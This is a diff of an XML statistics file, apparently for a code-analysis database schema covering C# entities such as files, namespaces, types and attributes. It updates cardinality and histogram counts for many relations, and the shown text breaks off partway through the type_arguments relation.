<columnsizes> <e> <k>id</k> -<v>14071803</v> +<v>14071854</v> </e> <e> <k>file</k> @@ -8659,7 +8702,7 @@ <b> <a>1</a> <b>2</b> -<v>14071803</v> +<v>14071854</v> </b> </bs> </hist> @@ -8675,7 +8718,7 @@ <b> <a>1</a> <b>2</b> -<v>14071803</v> +<v>14071854</v> </b> </bs> </hist> @@ -8691,7 +8734,7 @@ <b> <a>1</a> <b>2</b> -<v>14071803</v> +<v>14071854</v> </b> </bs> </hist> @@ -8707,7 +8750,7 @@ <b> <a>1</a> <b>2</b> -<v>14071803</v> +<v>14071854</v> </b> </bs> </hist> @@ -8723,7 +8766,7 @@ <b> <a>1</a> <b>2</b> -<v>14071803</v> +<v>14071854</v> </b> </bs> </hist> @@ -8769,37 +8812,37 @@ <b> <a>150</a> <b>208</b> -<v>470</v> +<v>471</v> </b> <b> <a>208</a> -<b>296</b> -<v>468</v> +<b>297</b> +<v>472</v> </b> <b> -<a>296</a> -<b>445</b> -<v>468</v> -</b> -<b> -<a>445</a> -<b>685</b> +<a>297</a> +<b>446</b> <v>469</v> </b> <b> -<a>685</a> -<b>1200</b> +<a>446</a> +<b>693</b> +<v>469</v> +</b> +<b> +<a>693</a> +<b>1208</b> <v>468</v> </b> <b> -<a>1200</a> -<b>2633</b> +<a>1209</a> +<b>2677</b> <v>468</v> </b> <b> -<a>2635</a> +<a>2691</a> <b>42820</b> -<v>494</v> +<v>488</v> </b> <b> <a>43087</a> @@ -9183,7 +9226,7 @@ </b> <b> <a>301</a> -<b>10783</b> +<b>10788</b> <v>9050</v> </b> </bs> @@ -9473,7 +9516,7 @@ </b> <b> <a>76216</a> -<b>2221239</b> +<b>2221242</b> <v>24</v> </b> </bs> @@ -10839,19 +10882,19 @@ </relation> <relation> <name>assemblies</name> -<cardinality>4206</cardinality> +<cardinality>4205</cardinality> <columnsizes> <e> <k>id</k> -<v>4206</v> +<v>4205</v> </e> <e> <k>file</k> -<v>4206</v> +<v>4205</v> </e> <e> <k>fullname</k> -<v>3445</v> +<v>3444</v> </e> <e> <k>name</k> @@ -10873,7 +10916,7 @@ <b> <a>1</a> <b>2</b> -<v>4206</v> +<v>4205</v> </b> </bs> </hist> @@ -10889,7 +10932,7 @@ <b> <a>1</a> <b>2</b> -<v>4206</v> +<v>4205</v> </b> </bs> </hist> @@ -10905,7 +10948,7 @@ <b> <a>1</a> <b>2</b> -<v>4206</v> +<v>4205</v> </b> </bs> </hist> @@ -10921,7 +10964,7 @@ <b> <a>1</a> <b>2</b> -<v>4206</v> +<v>4205</v> </b> </bs> </hist> @@ -10937,7 +10980,7 @@ <b> <a>1</a> <b>2</b> -<v>4206</v> +<v>4205</v> </b> </bs> </hist> @@ -10953,7 +10996,7 @@ <b> <a>1</a> <b>2</b> -<v>4206</v> +<v>4205</v> </b> </bs> </hist> @@ -10969,7 +11012,7 @@ <b> <a>1</a> <b>2</b> -<v>4206</v> +<v>4205</v> </b> </bs> </hist> @@ -10985,7 +11028,7 @@ <b> <a>1</a> <b>2</b> -<v>4206</v> +<v>4205</v> </b> </bs> </hist> @@ -11043,7 +11086,7 @@ <b> <a>1</a> <b>2</b> -<v>3445</v> +<v>3444</v> </b> </bs> </hist> @@ -11059,7 +11102,7 @@ <b> <a>1</a> <b>2</b> -<v>3445</v> +<v>3444</v> </b> </bs> </hist> @@ -11075,7 +11118,7 @@ <b> <a>1</a> <b>2</b> -<v>2191</v> +<v>2190</v> </b> <b> <a>2</a> @@ -11101,7 +11144,7 @@ <b> <a>1</a> <b>2</b> -<v>2191</v> +<v>2190</v> </b> <b> <a>2</a> @@ -11127,7 +11170,7 @@ <b> <a>1</a> <b>2</b> -<v>2952</v> +<v>2951</v> </b> <b> <a>2</a> @@ -11148,7 +11191,7 @@ <b> <a>1</a> <b>2</b> -<v>2952</v> +<v>2951</v> </b> <b> <a>2</a> @@ -11327,19 +11370,19 @@ </relation> <relation> <name>files</name> -<cardinality>42547</cardinality> +<cardinality>42539</cardinality> <columnsizes> <e> <k>id</k> -<v>42547</v> +<v>42539</v> </e> <e> <k>name</k> -<v>42547</v> +<v>42539</v> </e> <e> <k>simple</k> -<v>22979</v> +<v>22974</v> </e> <e> <k>ext</k> @@ -11361,7 +11404,7 @@ <b> <a>1</a> <b>2</b> -<v>42547</v> +<v>42539</v> </b> </bs> </hist> @@ -11377,7 +11420,7 @@ <b> <a>1</a> <b>2</b> -<v>42547</v> +<v>42539</v> </b> </bs> </hist> @@ -11393,7 +11436,7 @@ <b> <a>1</a> <b>2</b> -<v>42547</v> +<v>42539</v> </b> </bs> </hist> @@ -11409,7 +11452,7 @@ <b> <a>1</a> <b>2</b> -<v>42547</v> +<v>42539</v> </b> </bs> </hist> @@ -11425,7 +11468,7 @@ <b> <a>1</a> <b>2</b> -<v>42547</v> +<v>42539</v> </b> </bs> </hist> @@ -11441,7 +11484,7 @@ <b> <a>1</a> <b>2</b> -<v>42547</v> +<v>42539</v> </b> </bs> </hist> @@ -11457,7 +11500,7 @@ <b> <a>1</a> <b>2</b> -<v>42547</v> +<v>42539</v> </b> </bs> </hist> @@ -11473,7 +11516,7 @@ <b> <a>1</a> <b>2</b> -<v>42547</v> +<v>42539</v> </b> </bs> </hist> @@ -11489,7 +11532,7 @@ <b> <a>1</a> <b>2</b> -<v>21568</v> +<v>21564</v> </b> <b> <a>2</a> @@ -11510,7 +11553,7 @@ <b> <a>1</a> <b>2</b> -<v>21568</v> +<v>21564</v> </b> <b> <a>2</a> @@ -11531,7 +11574,7 @@ <b> <a>1</a> <b>2</b> -<v>22188</v> +<v>22184</v> </b> <b> <a>2</a> @@ -11552,7 +11595,7 @@ <b> <a>1</a> <b>2</b> -<v>22979</v> +<v>22974</v> </b> </bs> </hist> @@ -11790,19 +11833,19 @@ </relation> <relation> <name>folders</name> -<cardinality>16971</cardinality> +<cardinality>16968</cardinality> <columnsizes> <e> <k>id</k> -<v>16971</v> +<v>16968</v> </e> <e> <k>name</k> -<v>14751</v> +<v>14748</v> </e> <e> <k>simple</k> -<v>2781</v> +<v>2780</v> </e> </columnsizes> <dependencies> @@ -11816,7 +11859,7 @@ <b> <a>1</a> <b>2</b> -<v>16971</v> +<v>16968</v> </b> </bs> </hist> @@ -11832,7 +11875,7 @@ <b> <a>1</a> <b>2</b> -<v>16971</v> +<v>16968</v> </b> </bs> </hist> @@ -11848,7 +11891,7 @@ <b> <a>1</a> <b>2</b> -<v>14751</v> +<v>14748</v> </b> </bs> </hist> @@ -11864,12 +11907,12 @@ <b> <a>1</a> <b>2</b> -<v>12531</v> +<v>12529</v> </b> <b> <a>2</a> <b>3</b> -<v>2220</v> +<v>2219</v> </b> </bs> </hist> @@ -11885,7 +11928,7 @@ <b> <a>1</a> <b>2</b> -<v>1825</v> +<v>1824</v> </b> <b> <a>2</a> @@ -11921,7 +11964,7 @@ <b> <a>1</a> <b>2</b> -<v>1825</v> +<v>1824</v> </b> <b> <a>2</a> @@ -11951,15 +11994,15 @@ </relation> <relation> <name>containerparent</name> -<cardinality>57288</cardinality> +<cardinality>57278</cardinality> <columnsizes> <e> <k>parent</k> -<v>14751</v> +<v>14748</v> </e> <e> <k>child</k> -<v>57288</v> +<v>57278</v> </e> </columnsizes> <dependencies> @@ -11973,22 +12016,22 @@ <b> <a>1</a> <b>2</b> -<v>8271</v> +<v>8269</v> </b> <b> <a>2</a> <b>3</b> -<v>1942</v> +<v>1941</v> </b> <b> <a>3</a> <b>4</b> -<v>771</v> +<v>770</v> </b> <b> <a>4</a> <b>5</b> -<v>971</v> +<v>970</v> </b> <b> <a>5</a> @@ -12019,7 +12062,7 @@ <b> <a>1</a> <b>2</b> -<v>57288</v> +<v>57278</v> </b> </bs> </hist> @@ -12029,11 +12072,11 @@ </relation> <relation> <name>file_extraction_mode</name> -<cardinality>26829</cardinality> +<cardinality>26824</cardinality> <columnsizes> <e> <k>file</k> -<v>26829</v> +<v>26824</v> </e> <e> <k>mode</k> @@ -12051,7 +12094,7 @@ <b> <a>1</a> <b>2</b> -<v>26829</v> +<v>26824</v> </b> </bs> </hist> @@ -12077,15 +12120,15 @@ </relation> <relation> <name>namespaces</name> -<cardinality>21983</cardinality> +<cardinality>21979</cardinality> <columnsizes> <e> <k>id</k> -<v>21983</v> +<v>21979</v> </e> <e> <k>name</k> -<v>4899</v> +<v>4898</v> </e> </columnsizes> <dependencies> @@ -12099,7 +12142,7 @@ <b> <a>1</a> <b>2</b> -<v>21983</v> +<v>21979</v> </b> </bs> </hist> @@ -12155,15 +12198,15 @@ </relation> <relation> <name>namespace_declarations</name> -<cardinality>19797</cardinality> +<cardinality>19793</cardinality> <columnsizes> <e> <k>id</k> -<v>19797</v> +<v>19793</v> </e> <e> <k>namespace_id</k> -<v>3894</v> +<v>3893</v> </e> </columnsizes> <dependencies> @@ -12177,7 +12220,7 @@ <b> <a>1</a> <b>2</b> -<v>19797</v> +<v>19793</v> </b> </bs> </hist> @@ -12238,15 +12281,15 @@ </relation> <relation> <name>namespace_declaration_location</name> -<cardinality>19797</cardinality> +<cardinality>19793</cardinality> <columnsizes> <e> <k>id</k> -<v>19797</v> +<v>19793</v> </e> <e> <k>loc</k> -<v>19797</v> +<v>19793</v> </e> </columnsizes> <dependencies> @@ -12260,7 +12303,7 @@ <b> <a>1</a> <b>2</b> -<v>19797</v> +<v>19793</v> </b> </bs> </hist> @@ -12276,7 +12319,7 @@ <b> <a>1</a> <b>2</b> -<v>19797</v> +<v>19793</v> </b> </bs> </hist> @@ -12286,15 +12329,15 @@ </relation> <relation> <name>parent_namespace</name> -<cardinality>778529</cardinality> +<cardinality>778386</cardinality> <columnsizes> <e> <k>child_id</k> -<v>778529</v> +<v>778386</v> </e> <e> <k>namespace_id</k> -<v>13580</v> +<v>13578</v> </e> </columnsizes> <dependencies> @@ -12308,7 +12351,7 @@ <b> <a>1</a> <b>2</b> -<v>778529</v> +<v>778386</v> </b> </bs> </hist> @@ -12344,12 +12387,12 @@ <b> <a>5</a> <b>7</b> -<v>1254</v> +<v>1253</v> </b> <b> <a>7</a> <b>10</b> -<v>1093</v> +<v>1092</v> </b> <b> <a>10</a> @@ -12384,15 +12427,15 @@ </relation> <relation> <name>parent_namespace_declaration</name> -<cardinality>88470</cardinality> +<cardinality>88454</cardinality> <columnsizes> <e> <k>child_id</k> -<v>87953</v> +<v>87937</v> </e> <e> <k>namespace_id</k> -<v>19797</v> +<v>19793</v> </e> </columnsizes> <dependencies> @@ -12406,7 +12449,7 @@ <b> <a>1</a> <b>2</b> -<v>87802</v> +<v>87786</v> </b> <b> <a>2</a> @@ -12427,7 +12470,7 @@ <b> <a>1</a> <b>2</b> -<v>13804</v> +<v>13802</v> </b> <b> <a>2</a> @@ -12462,15 +12505,15 @@ </relation> <relation> <name>using_namespace_directives</name> -<cardinality>144525</cardinality> +<cardinality>144498</cardinality> <columnsizes> <e> <k>id</k> -<v>144525</v> +<v>144498</v> </e> <e> <k>namespace_id</k> -<v>4235</v> +<v>4234</v> </e> </columnsizes> <dependencies> @@ -12484,7 +12527,7 @@ <b> <a>1</a> <b>2</b> -<v>144525</v> +<v>144498</v> </b> </bs> </hist> @@ -12500,7 +12543,7 @@ <b> <a>1</a> <b>2</b> -<v>1498</v> +<v>1497</v> </b> <b> <a>2</a> @@ -12643,15 +12686,15 @@ </relation> <relation> <name>using_directive_location</name> -<cardinality>144583</cardinality> +<cardinality>144557</cardinality> <columnsizes> <e> <k>id</k> -<v>144583</v> +<v>144557</v> </e> <e> <k>loc</k> -<v>144539</v> +<v>144513</v> </e> </columnsizes> <dependencies> @@ -12665,7 +12708,7 @@ <b> <a>1</a> <b>2</b> -<v>144583</v> +<v>144557</v> </b> </bs> </hist> @@ -12681,7 +12724,7 @@ <b> <a>1</a> <b>2</b> -<v>144496</v> +<v>144469</v> </b> <b> <a>2</a> @@ -12696,11 +12739,11 @@ </relation> <relation> <name>types</name> -<cardinality>868805</cardinality> +<cardinality>868646</cardinality> <columnsizes> <e> <k>id</k> -<v>868805</v> +<v>868646</v> </e> <e> <k>kind</k> @@ -12708,7 +12751,7 @@ </e> <e> <k>name</k> -<v>367552</v> +<v>367484</v> </e> </columnsizes> <dependencies> @@ -12722,7 +12765,7 @@ <b> <a>1</a> <b>2</b> -<v>868805</v> +<v>868646</v> </b> </bs> </hist> @@ -12738,7 +12781,7 @@ <b> <a>1</a> <b>2</b> -<v>868805</v> +<v>868646</v> </b> </bs> </hist> @@ -12836,17 +12879,17 @@ <b> <a>1</a> <b>2</b> -<v>325224</v> +<v>325164</v> </b> <b> <a>2</a> <b>5</b> -<v>28893</v> +<v>28888</v> </b> <b> <a>5</a> <b>6356</b> -<v>13434</v> +<v>13431</v> </b> </bs> </hist> @@ -12862,7 +12905,7 @@ <b> <a>1</a> <b>2</b> -<v>366112</v> +<v>366045</v> </b> <b> <a>2</a> @@ -12877,15 +12920,15 @@ </relation> <relation> <name>typerefs</name> -<cardinality>235236</cardinality> +<cardinality>235192</cardinality> <columnsizes> <e> <k>id</k> -<v>235236</v> +<v>235192</v> </e> <e> <k>name</k> -<v>177317</v> +<v>177285</v> </e> </columnsizes> <dependencies> @@ -12899,7 +12942,7 @@ <b> <a>1</a> <b>2</b> -<v>235236</v> +<v>235192</v> </b> </bs> </hist> @@ -12915,12 +12958,12 @@ <b> <a>1</a> <b>2</b> -<v>162741</v> +<v>162711</v> </b> <b> <a>2</a> <b>7</b> -<v>13507</v> +<v>13504</v> </b> <b> <a>7</a> @@ -12935,15 +12978,15 @@ </relation> <relation> <name>typeref_type</name> -<cardinality>235055</cardinality> +<cardinality>235012</cardinality> <columnsizes> <e> <k>id</k> -<v>235055</v> +<v>235012</v> </e> <e> <k>typeId</k> -<v>235055</v> +<v>235012</v> </e> </columnsizes> <dependencies> @@ -12957,7 +13000,7 @@ <b> <a>1</a> <b>2</b> -<v>235055</v> +<v>235012</v> </b> </bs> </hist> @@ -12973,7 +13016,7 @@ <b> <a>1</a> <b>2</b> -<v>235055</v> +<v>235012</v> </b> </bs> </hist> @@ -12983,11 +13026,11 @@ </relation> <relation> <name>array_element_type</name> -<cardinality>9139</cardinality> +<cardinality>9138</cardinality> <columnsizes> <e> <k>array</k> -<v>9139</v> +<v>9138</v> </e> <e> <k>dimension</k> @@ -12999,7 +13042,7 @@ </e> <e> <k>element</k> -<v>9130</v> +<v>9128</v> </e> </columnsizes> <dependencies> @@ -13013,7 +13056,7 @@ <b> <a>1</a> <b>2</b> -<v>9139</v> +<v>9138</v> </b> </bs> </hist> @@ -13029,7 +13072,7 @@ <b> <a>1</a> <b>2</b> -<v>9139</v> +<v>9138</v> </b> </bs> </hist> @@ -13045,7 +13088,7 @@ <b> <a>1</a> <b>2</b> -<v>9139</v> +<v>9138</v> </b> </bs> </hist> @@ -13187,7 +13230,7 @@ <b> <a>1</a> <b>2</b> -<v>9120</v> +<v>9118</v> </b> <b> <a>2</a> @@ -13208,7 +13251,7 @@ <b> <a>1</a> <b>2</b> -<v>9130</v> +<v>9128</v> </b> </bs> </hist> @@ -13224,7 +13267,7 @@ <b> <a>1</a> <b>2</b> -<v>9120</v> +<v>9118</v> </b> <b> <a>2</a> @@ -13335,11 +13378,11 @@ </relation> <relation> <name>enum_underlying_type</name> -<cardinality>11975</cardinality> +<cardinality>11972</cardinality> <columnsizes> <e> <k>enum_id</k> -<v>11975</v> +<v>11972</v> </e> <e> <k>underlying_type_id</k> @@ -13357,7 +13400,7 @@ <b> <a>1</a> <b>2</b> -<v>11975</v> +<v>11972</v> </b> </bs> </hist> @@ -13413,15 +13456,15 @@ </relation> <relation> <name>delegate_return_type</name> -<cardinality>107755</cardinality> +<cardinality>107736</cardinality> <columnsizes> <e> <k>delegate_id</k> -<v>107755</v> +<v>107736</v> </e> <e> <k>return_type_id</k> -<v>55615</v> +<v>55604</v> </e> </columnsizes> <dependencies> @@ -13435,7 +13478,7 @@ <b> <a>1</a> <b>2</b> -<v>107755</v> +<v>107736</v> </b> </bs> </hist> @@ -13451,12 +13494,12 @@ <b> <a>1</a> <b>2</b> -<v>52296</v> +<v>52287</v> </b> <b> <a>2</a> <b>4178</b> -<v>3318</v> +<v>3317</v> </b> </bs> </hist> @@ -13466,15 +13509,15 @@ </relation> <relation> <name>extend</name> -<cardinality>324097</cardinality> +<cardinality>324037</cardinality> <columnsizes> <e> <k>sub</k> -<v>324097</v> +<v>324037</v> </e> <e> <k>super</k> -<v>31626</v> +<v>31620</v> </e> </columnsizes> <dependencies> @@ -13488,7 +13531,7 @@ <b> <a>1</a> <b>2</b> -<v>324097</v> +<v>324037</v> </b> </bs> </hist> @@ -13504,7 +13547,7 @@ <b> <a>1</a> <b>2</b> -<v>22671</v> +<v>22667</v> </b> <b> <a>2</a> @@ -13514,12 +13557,12 @@ <b> <a>3</a> <b>5</b> -<v>2420</v> +<v>2419</v> </b> <b> <a>5</a> <b>70</b> -<v>2381</v> +<v>2380</v> </b> <b> <a>70</a> @@ -13534,26 +13577,26 @@ </relation> <relation> <name>anonymous_types</name> -<cardinality>1215</cardinality> +<cardinality>1214</cardinality> <columnsizes> <e> <k>id</k> -<v>1215</v> +<v>1214</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>implement</name> -<cardinality>542649</cardinality> +<cardinality>542549</cardinality> <columnsizes> <e> <k>sub</k> -<v>226779</v> +<v>226737</v> </e> <e> <k>super</k> -<v>122775</v> +<v>122753</v> </e> </columnsizes> <dependencies> @@ -13567,27 +13610,27 @@ <b> <a>1</a> <b>2</b> -<v>100963</v> +<v>100944</v> </b> <b> <a>2</a> <b>3</b> -<v>57152</v> +<v>57141</v> </b> <b> <a>3</a> <b>4</b> -<v>36178</v> +<v>36172</v> </b> <b> <a>4</a> <b>7</b> -<v>19006</v> +<v>19003</v> </b> <b> <a>7</a> <b>21</b> -<v>13478</v> +<v>13475</v> </b> </bs> </hist> @@ -13603,27 +13646,27 @@ <b> <a>1</a> <b>2</b> -<v>67077</v> +<v>67065</v> </b> <b> <a>2</a> <b>3</b> -<v>29840</v> +<v>29834</v> </b> <b> <a>3</a> <b>4</b> -<v>10267</v> +<v>10265</v> </b> <b> <a>4</a> <b>6</b> -<v>8710</v> +<v>8708</v> </b> <b> <a>6</a> <b>21807</b> -<v>6880</v> +<v>6879</v> </b> </bs> </hist> @@ -13633,15 +13676,15 @@ </relation> <relation> <name>type_location</name> -<cardinality>554736</cardinality> +<cardinality>554634</cardinality> <columnsizes> <e> <k>id</k> -<v>467846</v> +<v>467760</v> </e> <e> <k>loc</k> -<v>29932</v> +<v>29927</v> </e> </columnsizes> <dependencies> @@ -13655,17 +13698,17 @@ <b> <a>1</a> <b>2</b> -<v>408156</v> +<v>408082</v> </b> <b> <a>2</a> <b>3</b> -<v>39306</v> +<v>39299</v> </b> <b> <a>3</a> <b>638</b> -<v>20382</v> +<v>20379</v> </b> </bs> </hist> @@ -13681,7 +13724,7 @@ <b> <a>1</a> <b>2</b> -<v>26053</v> +<v>26048</v> </b> <b> <a>2</a> @@ -13701,11 +13744,11 @@ </relation> <relation> <name>tuple_underlying_type</name> -<cardinality>1786</cardinality> +<cardinality>1785</cardinality> <columnsizes> <e> <k>tuple</k> -<v>1786</v> +<v>1785</v> </e> <e> <k>struct</k> @@ -13723,7 +13766,7 @@ <b> <a>1</a> <b>2</b> -<v>1786</v> +<v>1785</v> </b> </bs> </hist> @@ -13759,11 +13802,11 @@ </relation> <relation> <name>tuple_element</name> -<cardinality>6802</cardinality> +<cardinality>6801</cardinality> <columnsizes> <e> <k>tuple</k> -<v>1781</v> +<v>1780</v> </e> <e> <k>index</k> @@ -13771,7 +13814,7 @@ </e> <e> <k>field</k> -<v>6802</v> +<v>6801</v> </e> </columnsizes> <dependencies> @@ -14109,7 +14152,7 @@ <b> <a>1</a> <b>2</b> -<v>6802</v> +<v>6801</v> </b> </bs> </hist> @@ -14125,7 +14168,7 @@ <b> <a>1</a> <b>2</b> -<v>6802</v> +<v>6801</v> </b> </bs> </hist> @@ -14135,11 +14178,11 @@ </relation> <relation> <name>attributes</name> -<cardinality>750685</cardinality> +<cardinality>750562</cardinality> <columnsizes> <e> <k>id</k> -<v>750685</v> +<v>750562</v> </e> <e> <k>type_id</k> @@ -14147,7 +14190,7 @@ </e> <e> <k>target</k> -<v>429862</v> +<v>429793</v> </e> </columnsizes> <dependencies> @@ -14161,7 +14204,7 @@ <b> <a>1</a> <b>2</b> -<v>750685</v> +<v>750562</v> </b> </bs> </hist> @@ -14177,7 +14220,7 @@ <b> <a>1</a> <b>2</b> -<v>750685</v> +<v>750562</v> </b> </bs> </hist> @@ -14252,7 +14295,7 @@ </b> <b> <a>5204</a> -<b>41857</b> +<b>41859</b> <v>19</v> </b> </bs> @@ -14323,7 +14366,7 @@ </b> <b> <a>562</a> -<b>39377</b> +<b>39379</b> <v>117</v> </b> </bs> @@ -14340,17 +14383,17 @@ <b> <a>1</a> <b>2</b> -<v>366258</v> +<v>366196</v> </b> <b> <a>2</a> <b>3</b> -<v>48900</v> +<v>48896</v> </b> <b> <a>3</a> <b>957</b> -<v>14702</v> +<v>14700</v> </b> </bs> </hist> @@ -14366,12 +14409,12 @@ <b> <a>1</a> <b>2</b> -<v>395527</v> +<v>395465</v> </b> <b> <a>2</a> <b>15</b> -<v>33509</v> +<v>33503</v> </b> <b> <a>15</a> @@ -14386,15 +14429,15 @@ </relation> <relation> <name>attribute_location</name> -<cardinality>818870</cardinality> +<cardinality>818735</cardinality> <columnsizes> <e> <k>id</k> -<v>750685</v> +<v>750562</v> </e> <e> <k>loc</k> -<v>72465</v> +<v>72451</v> </e> </columnsizes> <dependencies> @@ -14408,12 +14451,12 @@ <b> <a>1</a> <b>2</b> -<v>682499</v> +<v>682389</v> </b> <b> <a>2</a> <b>3</b> -<v>68185</v> +<v>68173</v> </b> </bs> </hist> @@ -14429,12 +14472,12 @@ <b> <a>1</a> <b>2</b> -<v>68253</v> +<v>68241</v> </b> <b> <a>4</a> <b>26710</b> -<v>4211</v> +<v>4210</v> </b> </bs> </hist> @@ -14444,19 +14487,19 @@ </relation> <relation> <name>type_mention</name> -<cardinality>1269672</cardinality> +<cardinality>1269461</cardinality> <columnsizes> <e> <k>id</k> -<v>1269672</v> +<v>1269461</v> </e> <e> <k>type_id</k> -<v>34470</v> +<v>34464</v> </e> <e> <k>parent</k> -<v>1029037</v> +<v>1028868</v> </e> </columnsizes> <dependencies> @@ -14470,7 +14513,7 @@ <b> <a>1</a> <b>2</b> -<v>1269672</v> +<v>1269461</v> </b> </bs> </hist> @@ -14486,7 +14529,7 @@ <b> <a>1</a> <b>2</b> -<v>1269672</v> +<v>1269461</v> </b> </bs> </hist> @@ -14502,22 +14545,22 @@ <b> <a>1</a> <b>2</b> -<v>4966</v> +<v>4965</v> </b> <b> <a>2</a> <b>3</b> -<v>6800</v> +<v>6798</v> </b> <b> <a>3</a> <b>4</b> -<v>3386</v> +<v>3385</v> </b> <b> <a>4</a> <b>5</b> -<v>4027</v> +<v>4026</v> </b> <b> <a>5</a> @@ -14527,12 +14570,12 @@ <b> <a>6</a> <b>8</b> -<v>2905</v> +<v>2904</v> </b> <b> <a>8</a> <b>12</b> -<v>2804</v> +<v>2803</v> </b> <b> <a>12</a> @@ -14542,7 +14585,7 @@ <b> <a>20</a> <b>51</b> -<v>2586</v> +<v>2585</v> </b> <b> <a>51</a> @@ -14563,12 +14606,12 @@ <b> <a>1</a> <b>2</b> -<v>9470</v> +<v>9468</v> </b> <b> <a>2</a> <b>3</b> -<v>5705</v> +<v>5704</v> </b> <b> <a>3</a> @@ -14578,12 +14621,12 @@ <b> <a>4</a> <b>5</b> -<v>3002</v> +<v>3001</v> </b> <b> <a>5</a> <b>6</b> -<v>1948</v> +<v>1947</v> </b> <b> <a>6</a> @@ -14598,7 +14641,7 @@ <b> <a>13</a> <b>29</b> -<v>2631</v> +<v>2630</v> </b> <b> <a>29</a> @@ -14624,17 +14667,17 @@ <b> <a>1</a> <b>2</b> -<v>871267</v> +<v>871125</v> </b> <b> <a>2</a> <b>3</b> -<v>137410</v> +<v>137386</v> </b> <b> <a>3</a> <b>342</b> -<v>20359</v> +<v>20356</v> </b> </bs> </hist> @@ -14650,12 +14693,12 @@ <b> <a>1</a> <b>2</b> -<v>1008350</v> +<v>1008184</v> </b> <b> <a>2</a> <b>22</b> -<v>20687</v> +<v>20683</v> </b> </bs> </hist> @@ -14665,15 +14708,15 @@ </relation> <relation> <name>type_mention_location</name> -<cardinality>1269672</cardinality> +<cardinality>1269461</cardinality> <columnsizes> <e> <k>id</k> -<v>1269672</v> +<v>1269461</v> </e> <e> <k>loc</k> -<v>1140168</v> +<v>1139970</v> </e> </columnsizes> <dependencies> @@ -14687,7 +14730,7 @@ <b> <a>1</a> <b>2</b> -<v>1269672</v> +<v>1269461</v> </b> </bs> </hist> @@ -14703,12 +14746,12 @@ <b> <a>1</a> <b>2</b> -<v>1077652</v> +<v>1077465</v> </b> <b> <a>2</a> <b>199</b> -<v>62516</v> +<v>62504</v> </b> </bs> </hist> @@ -14718,11 +14761,11 @@ </relation> <relation> <name>type_annotation</name> -<cardinality>51023</cardinality> +<cardinality>51013</cardinality> <columnsizes> <e> <k>id</k> -<v>51023</v> +<v>51013</v> </e> <e> <k>annotation</k> @@ -14740,7 +14783,7 @@ <b> <a>1</a> <b>2</b> -<v>51023</v> +<v>51013</v> </b> </bs> </hist> @@ -14834,7 +14877,7 @@ </relation> <relation> <name>nullability_parent</name> -<cardinality>6290</cardinality> +<cardinality>6288</cardinality> <columnsizes> <e> <k>nullability</k> @@ -14846,7 +14889,7 @@ </e> <e> <k>parent</k> -<v>1986</v> +<v>1985</v> </e> </columnsizes> <dependencies> @@ -15155,15 +15198,15 @@ </relation> <relation> <name>type_nullability</name> -<cardinality>4610901</cardinality> +<cardinality>4610461</cardinality> <columnsizes> <e> <k>id</k> -<v>4536257</v> +<v>4535975</v> </e> <e> <k>nullability</k> -<v>967</v> +<v>965</v> </e> </columnsizes> <dependencies> @@ -15177,12 +15220,12 @@ <b> <a>1</a> <b>2</b> -<v>4470528</v> +<v>4470328</v> </b> <b> <a>2</a> <b>9</b> -<v>65729</v> +<v>65647</v> </b> </bs> </hist> @@ -15203,57 +15246,57 @@ <b> <a>2</a> <b>3</b> -<v>149</v> +<v>147</v> </b> <b> <a>3</a> <b>4</b> -<v>56</v> +<v>54</v> </b> <b> <a>4</a> <b>5</b> -<v>67</v> +<v>70</v> </b> <b> <a>5</a> <b>7</b> -<v>82</v> +<v>85</v> </b> <b> <a>7</a> <b>10</b> -<v>68</v> +<v>65</v> </b> <b> <a>10</a> <b>14</b> -<v>73</v> +<v>74</v> </b> <b> <a>14</a> <b>23</b> -<v>79</v> +<v>77</v> </b> <b> <a>23</a> -<b>43</b> +<b>45</b> +<v>75</v> +</b> +<b> +<a>45</a> +<b>123</b> +<v>74</v> +</b> +<b> +<a>124</a> +<b>4643</b> <v>73</v> </b> <b> -<a>44</a> -<b>121</b> -<v>73</v> -</b> -<b> -<a>121</a> -<b>3088</b> -<v>73</v> -</b> -<b> -<a>3396</a> -<b>3685234</b> -<v>13</v> +<a>5100</a> +<b>3685112</b> +<v>10</v> </b> </bs> </hist> @@ -15263,11 +15306,11 @@ </relation> <relation> <name>expr_flowstate</name> -<cardinality>2995349</cardinality> +<cardinality>2994827</cardinality> <columnsizes> <e> <k>id</k> -<v>2995349</v> +<v>2994827</v> </e> <e> <k>state</k> @@ -15285,7 +15328,7 @@ <b> <a>1</a> <b>2</b> -<v>2995349</v> +<v>2994827</v> </b> </bs> </hist> @@ -15316,11 +15359,11 @@ </relation> <relation> <name>type_parameters</name> -<cardinality>203068</cardinality> +<cardinality>203031</cardinality> <columnsizes> <e> <k>id</k> -<v>203068</v> +<v>203031</v> </e> <e> <k>index</k> @@ -15328,7 +15371,7 @@ </e> <e> <k>generic_id</k> -<v>103900</v> +<v>103881</v> </e> <e> <k>variance</k> @@ -15346,7 +15389,7 @@ <b> <a>1</a> <b>2</b> -<v>203068</v> +<v>203031</v> </b> </bs> </hist> @@ -15362,7 +15405,7 @@ <b> <a>1</a> <b>2</b> -<v>203068</v> +<v>203031</v> </b> </bs> </hist> @@ -15378,7 +15421,7 @@ <b> <a>1</a> <b>2</b> -<v>203068</v> +<v>203031</v> </b> </bs> </hist> @@ -15652,22 +15695,22 @@ <b> <a>1</a> <b>2</b> -<v>80731</v> +<v>80716</v> </b> <b> <a>2</a> <b>3</b> -<v>10794</v> +<v>10792</v> </b> <b> <a>3</a> <b>11</b> -<v>8363</v> +<v>8362</v> </b> <b> <a>11</a> <b>22</b> -<v>4011</v> +<v>4010</v> </b> </bs> </hist> @@ -15683,22 +15726,22 @@ <b> <a>1</a> <b>2</b> -<v>80731</v> +<v>80716</v> </b> <b> <a>2</a> <b>3</b> -<v>10794</v> +<v>10792</v> </b> <b> <a>3</a> <b>11</b> -<v>8363</v> +<v>8362</v> </b> <b> <a>11</a> <b>22</b> -<v>4011</v> +<v>4010</v> </b> </bs> </hist> @@ -15714,7 +15757,7 @@ <b> <a>1</a> <b>2</b> -<v>103749</v> +<v>103730</v> </b> <b> <a>2</a> @@ -15807,11 +15850,11 @@ </relation> <relation> <name>type_arguments</name> -<cardinality>644983</cardinality> +<cardinality>644865</cardinality> <columnsizes> <e> <k>id</k> -<v>273767</v> +<v>273716</v> </e> <e> <k>index</k> @@ -15819,7 +15862,7 @@ </e> <e> <k>constructed_id</k> -<v>413656</v> +<v>413580</v> </e> </columnsizes> <dependencies> @@ -15833,12 +15876,12 @@ <b> <a>1</a> <b>2</b> -<v>235104</v> +<v>235061</v> </b> <b> <a>2</a> <b>3</b> -<v>37184</v> +<v>37177</v> </b> <b> <a>3</a> 